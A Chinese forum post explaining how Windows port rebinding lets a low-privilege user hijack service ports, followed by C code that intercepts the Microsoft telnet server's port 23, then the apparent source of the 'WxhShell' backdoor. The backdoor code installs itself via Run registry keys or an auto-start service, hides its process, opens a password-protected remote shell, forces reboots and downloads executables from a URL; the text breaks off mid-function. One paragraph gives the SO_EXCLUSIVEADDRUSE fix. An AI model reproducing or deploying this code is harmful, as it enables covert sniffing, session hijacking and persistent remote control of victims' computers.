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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &CW,qY,sh  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F3/aq+<P[  
Tvr2K84l  
  saddr.sin_family = AF_INET; {f] K3V  
O:'UsI1Y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); DYlu`j_ux  
"`Q~rjc$2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q:$<`K4)  
qn}w]yGW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F"xD^<i  
=}5;rK  
  这意味着什么?意味着可以进行如下的攻击: )F;`07  
8:c[_3w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _+%RbJ~H  
VYj hU?I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I, 9!["^|  
FCxLL"))  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9:N@+;|T  
HgJ:Rf]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9u";%5 4  
dM"Suw  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 g+h)s!$sB  
D}59fWz@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 U-(2;F)  
cOa.]Kk  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Wi_5.=  
B '\^[  
  #include Y3G$(+i8  
  #include ]MJyBz+k  
  #include JgXP2|Y!  
  #include    Ld>y Fb(`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   qCg`"/0  
  int main() 24Lo .  
  { tW;?4}JR  
  WORD wVersionRequested; kxU <?0  
  DWORD ret; 86!"b  
  WSADATA wsaData; ;pu68N(B  
  BOOL val; rnWU[U8%  
  SOCKADDR_IN saddr; "HTp1  
  SOCKADDR_IN scaddr; t_1a.Jv  
  int err; k@nx+fO}P  
  SOCKET s; <H3njv  
  SOCKET sc; sev^  
  int caddsize; Dpp 3]en.  
  HANDLE mt; w7NJ~iy  
  DWORD tid;   vKYdYa\  
  wVersionRequested = MAKEWORD( 2, 2 ); z6e)|*cA$  
  err = WSAStartup( wVersionRequested, &wsaData ); ]O2ku^yM  
  if ( err != 0 ) { )3g7dtq}  
  printf("error!WSAStartup failed!\n"); ZGrjb22M  
  return -1; %KL"f  
  } y&T(^EA;  
  saddr.sin_family = AF_INET; !HyPe"`oL  
   6@kKr  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4Eh 2sI  
?eD,\G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^mr#t #[e  
  saddr.sin_port = htons(23); F;p>bw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6v7H?4  
  { X^mv sY  
  printf("error!socket failed!\n"); :Z|lGH =  
  return -1; c(jF^ 0~  
  } d5$2*h{^v  
  val = TRUE; 1(6B|w5+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9 ! [oJ3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vUD,%@k9  
  { #;GIvfW  
  printf("error!setsockopt failed!\n"); /rp.H'hC  
  return -1; \,jrug<C$^  
  } Qzy[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {H OvJ`tM  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yyZ}qnbx]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Wlm%W>%  
k{ >rI2;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F?=(4Pyvu  
  { UBoN}iR  
  ret=GetLastError(); 7e$\|~<  
  printf("error!bind failed!\n"); kGhWr M  
  return -1; 5HP6o  
  } ?d`?Ss;v  
  listen(s,2); ZzfGs  
  while(1) Rt!G:hy7  
  { -N`j` zb|  
  caddsize = sizeof(scaddr); /VB n  
  //接受连接请求 yU"lW{H@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); IxC/X5Mp^q  
  if(sc!=INVALID_SOCKET) (,$ H!qKy  
  { DueQ1+ P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c`~aiC`l  
  if(mt==NULL) x]umh{H~  
  { O8+e: K[D  
  printf("Thread Creat Failed!\n"); 3vTX2e.w  
  break; IE*GF27n  
  } oL0Q%_9hW  
  } \z!*)v/{-  
  CloseHandle(mt); is&A_C7yg  
  } s6<`#KFAg  
  closesocket(s); ]|g{{PWH  
  WSACleanup(); S^|Uzc  
  return 0; .Lz\/ OS  
  }   SrzlR)  
  DWORD WINAPI ClientThread(LPVOID lpParam) }Y\Ayl  
  { ;8m_[gfw  
  SOCKET ss = (SOCKET)lpParam; +k]9n*^uz  
  SOCKET sc; AkdONKO8{  
  unsigned char buf[4096]; Ijq',@jE  
  SOCKADDR_IN saddr; /C"dwh"``  
  long num; ?CGbnXZ4Ug  
  DWORD val; 9u<4Q_I`  
  DWORD ret; =)5eui>{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 rqk1 F~j|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^yDCX  
  saddr.sin_family = AF_INET; CpHF3o`Z6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); H?tonG.^(  
  saddr.sin_port = htons(23); Kd}cf0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R?3^Kx  
  { S N_!o2F2  
  printf("error!socket failed!\n"); 0] e=  
  return -1; 3XY;g{`=q  
  } n,sl|hv2U  
  val = 100; UP=0>jjbn:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @2Xw17[f35  
  { Wj2]1A  
  ret = GetLastError(); ^G'8!!ys  
  return -1; qH'T~# S  
  } KB+,}7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S)Cd1`Gf  
  { $7~ k#_#PC  
  ret = GetLastError(); ws9F~LmLbr  
  return -1; *44^M{ti<  
  } l]R O'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 01Bs7@"+  
  { q:N"mp<%  
  printf("error!socket connect failed!\n"); u )+;(Vd  
  closesocket(sc); >-rDBk ;K  
  closesocket(ss); )M(;:#le  
  return -1; v,w/g|  
  } 'J~{8w,.  
  while(1) +^$FA4<~  
  { @$'k1f(u>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?H8w/{J   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Dg~r%F  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p]=a:kd4J  
  num = recv(ss,buf,4096,0); [/ uqH  
  if(num>0) GKdQ  
  send(sc,buf,num,0); OI;0dS  
  else if(num==0) yQb^]|XG  
  break; # JHicx\8l  
  num = recv(sc,buf,4096,0); zOA{S~>  
  if(num>0) nWpqAb  
  send(ss,buf,num,0); WCxt-+#  
  else if(num==0) 88 ~BE ^  
  break; y BF3Lms  
  } s,>_kxuX  
  closesocket(ss); JSX-iHhW  
  closesocket(sc); t4)~A5s  
  return 0 ; &UH .e  
  } v-2_#  
<+D(GH};  
pk2OZ,14Mj  
========================================================== E/x``,k  
jSVIO v:  
下边附上一个代码,,WXhSHELL ]S+NH[g+  
P!yE{_%  
========================================================== D?~`L[}I!}  
N{v <z 6  
#include "stdafx.h" 6jjmrc[#}X  
>#).3  
#include <stdio.h> '&@'V5}C{  
#include <string.h> {J3;4p-&  
#include <windows.h>  M\zM-B  
#include <winsock2.h> 5]yQMY\2)  
#include <winsvc.h> v^2q\A-?  
#include <urlmon.h> 3]DUUXg$  
Wr"-~PP  
#pragma comment (lib, "Ws2_32.lib") fsqK(io28  
#pragma comment (lib, "urlmon.lib") ''P.~~ezr5  
& Ji!*~sE  
#define MAX_USER   100 // 最大客户端连接数 b:Oa4vBa  
#define BUF_SOCK   200 // sock buffer 8'J"+TsOW  
#define KEY_BUFF   255 // 输入 buffer F?Cx"JYix  
_r+2o-ZR  
#define REBOOT     0   // 重启 :'RmT3  
#define SHUTDOWN   1   // 关机 EGWm0 F_  
nDx}6}5)  
#define DEF_PORT   5000 // 监听端口 ihjs%5Jo%  
MHo(j%I1E  
#define REG_LEN     16   // 注册表键长度 v-u53Fy  
#define SVC_LEN     80   // NT服务名长度 7+wy`xi  
EJ7}h?a]U_  
// 从dll定义API ^eke,,~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L+y}hb r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7i?"akr4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ximW!y7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b4%sOn,  
u*:B 9E  
// wxhshell配置信息 ?m5@ 63 5  
struct WSCFG { 2(V;OWY(@  
  int ws_port;         // 监听端口 xu9K\/{7  
  char ws_passstr[REG_LEN]; // 口令 SYkLia(Ty  
  int ws_autoins;       // 安装标记, 1=yes 0=no v|Y:'5`V  
  char ws_regname[REG_LEN]; // 注册表键名 `7<4]#b^o  
  char ws_svcname[REG_LEN]; // 服务名 m'D_zb9+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y?Ph%i2E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n$B SO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ';"W0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %D|p7&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hh\}WaY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2LS03 27  
@ *W)r~ "~  
}; Z_vIGH|1  
-0[?6.(s"  
// default Wxhshell configuration 297X).  
struct WSCFG wscfg={DEF_PORT, Ax &Z=  
    "xuhuanlingzhe", H4DM,.04  
    1, Q?df5{6  
    "Wxhshell", i?" ~g!A  
    "Wxhshell", ,e\'Y!'  
            "WxhShell Service", ;{mKt%#  
    "Wrsky Windows CmdShell Service", ! h7?Ap  
    "Please Input Your Password: ", :t?Z  
  1, h!l&S2)D`  
  "http://www.wrsky.com/wxhshell.exe", :l~^un|<2Y  
  "Wxhshell.exe" -Lh\]  
    }; UYJMW S=  
u0^Vy#@_  
// 消息定义模块 TC7&IqT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c^$_epc*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LLE\;,bv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dO/iL7K&  
char *msg_ws_ext="\n\rExit."; ;!H<W[  
char *msg_ws_end="\n\rQuit."; R+vago:  
char *msg_ws_boot="\n\rReboot..."; D; xRgHn  
char *msg_ws_poff="\n\rShutdown..."; ~,j52obR6Z  
char *msg_ws_down="\n\rSave to "; T](N ^P  
}6zo1"  
char *msg_ws_err="\n\rErr!"; Mrpz(})  
char *msg_ws_ok="\n\rOK!"; N<&"_jzm  
>fG=(1"  
char ExeFile[MAX_PATH]; O  |45r   
int nUser = 0; ?U+^ctwv7  
HANDLE handles[MAX_USER]; 3$x[{\ {  
int OsIsNt; N|t!G^rP  
D c5tRO  
SERVICE_STATUS       serviceStatus; !h\.w9o[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b EB3 #uc  
kw,eTB<;R  
// 函数声明 VRe7Q0  
int Install(void); FDfLPCQm  
int Uninstall(void);  6/u]r  
int DownloadFile(char *sURL, SOCKET wsh); )-yJKmV  
int Boot(int flag); 5Ii`|?vg  
void HideProc(void); 1%Yd] 1c(  
int GetOsVer(void); -*`7Q'}%  
int Wxhshell(SOCKET wsl); )Fe6>tE  
void TalkWithClient(void *cs); er<yB#/;-  
int CmdShell(SOCKET sock); +fh@m h0[  
int StartFromService(void); ']Q4SB"q  
int StartWxhshell(LPSTR lpCmdLine); !4"(>Rnw  
QH z3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [4p~iGC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b)+nNqY|  
pxf(C<y6_  
// 数据结构和表定义 Bi}uL)~rD  
SERVICE_TABLE_ENTRY DispatchTable[] = M8_f{|!&  
{ ^qB a~  
{wscfg.ws_svcname, NTServiceMain}, QT\||0V~p  
{NULL, NULL} Ag[Zs%X  
}; Kkfza  
*u J0ZO9  
// 自我安装 o[$~  
int Install(void) rlUo#  
{ q<Tx'Ya  
  char svExeFile[MAX_PATH];  kwI[BF  
  HKEY key; aCxF{>n  
  strcpy(svExeFile,ExeFile); ,"6Bw|s  
^"lVTDsU  
// 如果是win9x系统,修改注册表设为自启动 (^_j,4  
if(!OsIsNt) { 3C[#_&_l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~PaEhj&8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /\7E&n:)2  
  RegCloseKey(key); dWc'RwL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oRDqN]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CjFnE   
  RegCloseKey(key); \kN?7b^  
  return 0; d_7v1)j  
    } <'y}y}%  
  } rdQKzJiX=U  
} 7+(on  
else { 0^lCZ,uq;  
w.7p D  
// 如果是NT以上系统,安装为系统服务 9w)W|9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3@}rO~  
if (schSCManager!=0) zD"n7;  
{ rXh*nC  
  SC_HANDLE schService = CreateService *'i9  
  ( e4h9rF{Cxn  
  schSCManager, ey/{Z<D  
  wscfg.ws_svcname, _%R]TlL  
  wscfg.ws_svcdisp, { l0[`"EF  
  SERVICE_ALL_ACCESS, ;!~&-I0l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z]~) ->=}  
  SERVICE_AUTO_START, M6nQ17\{  
  SERVICE_ERROR_NORMAL, `[)!4Jb  
  svExeFile, Jn:h;|9w  
  NULL, S4ys)!V1V  
  NULL, T]_]{%z  
  NULL, ?)-#\z=6G  
  NULL, \&8 61A;  
  NULL #fGI#]SG?  
  ); {s7 3(B"  
  if (schService!=0) `erKHZ]S  
  { C@o8C%o  
  CloseServiceHandle(schService); Y5fz_ [("  
  CloseServiceHandle(schSCManager);  i)!2DXn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z=FOymv C  
  strcat(svExeFile,wscfg.ws_svcname); [_BQ%7D U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I4"(4u@P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  `1`Qu!  
  RegCloseKey(key); V|3^H^\5P  
  return 0; ,=IGqw  
    } TCWt3\  
  } >%\&tS'  
  CloseServiceHandle(schSCManager); $-i(xnU/nl  
} drwD3jx0xv  
} <jAn~=Uq[,  
4 (c{%%  
return 1; mu*RXLai  
} ljP<WD  
B?nw([4m  
// 自我卸载 (=-6'23q)  
int Uninstall(void) Q "vhl2RX  
{ "Snt~:W>  
  HKEY key; GBY-WN4sc[  
M!Ua/g=u  
if(!OsIsNt) { \=qZ),bU@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1c\KRK4  
  RegDeleteValue(key,wscfg.ws_regname); vojXo|c  
  RegCloseKey(key); e"(SlR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (Q?@LzCjy  
  RegDeleteValue(key,wscfg.ws_regname); y*#YIS56I  
  RegCloseKey(key); ;F;Vm$  
  return 0; =]fOQN`  
  } $TX]*hNn  
} .du2;` [$r  
} n&%0G2m:  
else { @|PUet_pb  
T -p~8=I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JHXtKgFX  
if (schSCManager!=0) Y|!m  
{ "wR1=&gk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yz<$?Gblz  
  if (schService!=0) =5;tB  
  { =E w<s5C@  
  if(DeleteService(schService)!=0) { Qv W vS9]  
  CloseServiceHandle(schService); Q?2Gw N  
  CloseServiceHandle(schSCManager); 8-"D.b4  
  return 0; ]~:WGo=_  
  } a@S{ A5j  
  CloseServiceHandle(schService); Kw7uUJR  
  } [G",Yky  
  CloseServiceHandle(schSCManager); 3;JF 5e\?x  
} .TM. v5B  
} 2Krh&  
X#>:9  
return 1; C %i{{Y&l  
} g#q7~#9  
UOpSH{N  
// 从指定url下载文件 ^o87qr0g]  
int DownloadFile(char *sURL, SOCKET wsh) zRMz8IC.  
{ r"9hpZH  
  HRESULT hr; I {%Y0S  
char seps[]= "/"; R > [2*o"  
char *token; Lz&FywF-l  
char *file; D>-srzw  
char myURL[MAX_PATH]; 7 <ZGNxZ~  
char myFILE[MAX_PATH]; gHtflS  
f hjlt#  
strcpy(myURL,sURL); H+ 7HD|GE  
  token=strtok(myURL,seps); tIT/HG_o  
  while(token!=NULL) d=0{vsrB  
  { 8'ut[  
    file=token; jf.WmiDC  
  token=strtok(NULL,seps); w\RYxu?  
  } P=aYwmC  
TbD $lx3>  
GetCurrentDirectory(MAX_PATH,myFILE); . {vMn0c  
strcat(myFILE, "\\"); A*~BkvPr  
strcat(myFILE, file); j+PLtE   
  send(wsh,myFILE,strlen(myFILE),0); PA*1]i#2M=  
send(wsh,"...",3,0); T/PmT:Qg `  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |'``pq/}_  
  if(hr==S_OK) OFxCV`>ce  
return 0; j>?`N^  
else PLJDRp 2o  
return 1; \S_A e;  
q`3HHq  
} eH V#Mey[  
PpLiH9}  
// 系统电源模块 =$y;0]7Lwi  
int Boot(int flag) H)h$@14xu  
{ dT{GB!jz  
  HANDLE hToken; 1k]L,CX  
  TOKEN_PRIVILEGES tkp; ~d3|zlh  
cw,|,uXq 6  
  if(OsIsNt) { ]K'OH&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0RjFa;j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o!lKP>  
    tkp.PrivilegeCount = 1; AyNpY_B0c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v|KGzQx$.*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  nvCp-Z$  
if(flag==REBOOT) { EiDnUL(W7h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'jXJ!GFw  
  return 0; f _Hh"Vh  
} 8!b>[Nsc  
else { kCALJRf~d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y>T<Qn^D  
  return 0; ma xpR>7`j  
} nIZsKbnw  
  } E[i#8_  
  else { d)3jkHYEjj  
if(flag==REBOOT) { !ALq?u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O6,2M[a  
  return 0; _kc}:  
} xSqr=^  
else { +,g!xv4Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o@hj.)u  
  return 0; l<qEX O  
}  6HPuCP  
} LLFQ5py{  
* H~=dPC  
return 1; [%P[ x]-  
} f1S% p  
HRyhq ;C  
// win9x进程隐藏模块 p({Lp}'  
void HideProc(void) wwet90_g  
{ gi>W&6  
0e07pF/!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IEd?-L  
  if ( hKernel != NULL ) 8;"9A  
  { }ik N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \mTi@T!&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  7|yEf  
    FreeLibrary(hKernel); BnfuI  
  } %O!TS_~9  
kT]jJbb"  
return; *8+HQ[[#  
} "bB0$>0,  
%QQ 2u$  
// 获取操作系统版本 >4q6  
int GetOsVer(void) `EfFyhG$  
{ u9(42jj[$U  
  OSVERSIONINFO winfo; $=X>5B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0>46ZzxUZ  
  GetVersionEx(&winfo); `e`DSl D>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XwfR/4  
  return 1; .'.bokl/  
  else ?p/}eRgi  
  return 0; EM@EB< pRX  
} H!6+x*P0  
(sI`FW_  
// 客户端句柄模块 9KB}?~Nx4  
int Wxhshell(SOCKET wsl) y>:U&P^  
{ `A5n6*A7  
  SOCKET wsh; cs _  
  struct sockaddr_in client; M6 8foeeN  
  DWORD myID; 7<=p*  
`Kn+d~S4  
  while(nUser<MAX_USER) 86 9sS  
{ >6[d&SM6  
  int nSize=sizeof(client); $-|$4lrS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {2QP6XsJ  
  if(wsh==INVALID_SOCKET) return 1; 0~+*$W  
B'mUDW8\D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :>0,MO.^~K  
if(handles[nUser]==0) MBLDx sZ-  
  closesocket(wsh); *YX5bpR?  
else #z70:-`.[M  
  nUser++; /fLm )vN  
  } Um4DVg5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wv\V&U$  
$iMLT8U  
  return 0; DUH DFG  
} wW8[t8%43  
,j9?9Z7R  
// 关闭 socket ._t1eb`m{  
void CloseIt(SOCKET wsh) {-Mjs BR  
{ fFoZ! H  
closesocket(wsh); `KE]RTq  
nUser--; I<XYLe[_S  
ExitThread(0); I-1NZgv  
} SjY|aW+wAL  
)m[<lJ bw  
// 客户端请求句柄 QoZZXCU  
void TalkWithClient(void *cs) KK5_;<  
{ ,%BDBZ  
>4-9 @i0FV  
  SOCKET wsh=(SOCKET)cs; -j2y#aP  
  char pwd[SVC_LEN]; Ml;` *;  
  char cmd[KEY_BUFF]; ?=^\kXc[  
char chr[1]; q9PjQ%  
int i,j; w(z=xO  
(+cZP&o  
  while (nUser < MAX_USER) { NZ0?0*  
_<DOA:'v  
if(wscfg.ws_passstr) { 6`G8UDK>F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hF5T9^8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); * hS6F  
  //ZeroMemory(pwd,KEY_BUFF); @$j u Qm  
      i=0; ].5q,A]  
  while(i<SVC_LEN) { *9w-eK1{  
r{84Y!k~*  
  // 设置超时 q_ryW$/_  
  fd_set FdRead; $cc]Av4c2  
  struct timeval TimeOut; U 8p %MFD  
  FD_ZERO(&FdRead); =yM%#{t&W  
  FD_SET(wsh,&FdRead); 80 T2EN:$  
  TimeOut.tv_sec=8; lUA-ug! ^  
  TimeOut.tv_usec=0; Bd)Cijr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [}GK rI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B"\9slX  
"wg$ H1K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A L^tUcl  
  pwd=chr[0]; W}2!~ep!  
  if(chr[0]==0xd || chr[0]==0xa) { H~mp*S  
  pwd=0; [~RO9=;L  
  break; _uL[ Z  
  } 5~T+d1md  
  i++; >Yk|(!v  
    } ?Yf v^DQ5  
JZ*.;}"  
  // 如果是非法用户,关闭 socket ;UUgqX#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $$W2{vr7+  
} r>i95u82'  
4zt:3bW U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9Li&0E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;+|Z5+7!6  
GA/afc,V  
while(1) { MxT&@pq  
oyY z3X  
  ZeroMemory(cmd,KEY_BUFF); VCiq'LOR,<  
@D=%J!!*  
      // 自动支持客户端 telnet标准   5*-RIs! 2  
  j=0; m"n" 1;o=  
  while(j<KEY_BUFF) { 4[JF.O6}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ycq )$7p  
  cmd[j]=chr[0]; 98O]tL+k/u  
  if(chr[0]==0xa || chr[0]==0xd) { GCiG50Z=  
  cmd[j]=0; u*W! !(P/  
  break; ' (XB|5  
  } *]h"J]  
  j++; 2<p@G#(  
    } k9<UDg_ Y  
E i>GhvRM  
  // 下载文件 ^);M}~  
  if(strstr(cmd,"http://")) { %n8CK->  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6OAEAIh  
  if(DownloadFile(cmd,wsh)) B:0oT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g6P^JW}.  
  else {^(uoB C/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j (Q# NFT7  
  } o|y_j4 9  
  else { H_t0$x(\  
vr{|ubG]d  
    switch(cmd[0]) { _j3rs97@|  
  #Ha"rr46p  
  // 帮助 Z!^>!' Z  
  case '?': { s^IC]sW\%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jb,a>9 ]p  
    break; 4b;*:C4?  
  } ]h' 38W  
  // 安装 .-mIU.Nwi  
  case 'i': { DO~[VK%|  
    if(Install()) j[FB*L1!D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b]Kb ~y|  
    else 9L3P'!Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WLw i  
    break; eyp_.1C~  
    } IDD`N{EA  
  // 卸载 2yZ~j_AF[  
  case 'r': { m ie~. "  
    if(Uninstall()) XTk :lzFH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |2n*Ds'  
    else (Fuu V{x|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WAR!#E#J7  
    break; $'_Q@ZBq  
    } xgj'um  
  // 显示 wxhshell 所在路径 p-)@#hE  
  case 'p': { pX*E(Q)@!  
    char svExeFile[MAX_PATH]; 3D!7,@&>3  
    strcpy(svExeFile,"\n\r"); $ta JVVF  
      strcat(svExeFile,ExeFile); GD d'{qE6  
        send(wsh,svExeFile,strlen(svExeFile),0); |6DJ5VFzD  
    break; , %8)I("  
    } p{W Amly  
  // 重启 ?I? ~BWu  
  case 'b': { D|m0Vj b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qC"`i}7  
    if(Boot(REBOOT)) 6^V( C;5!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }vx,i99W?  
    else { );}M"W8  
    closesocket(wsh); &08dW9H  
    ExitThread(0); @lWNSf  
    } $IX(a4'  
    break; ub9[!}r't  
    } "DGap*=J  
  // 关机 C;/ONF   
  case 'd': { Ja4M@z  
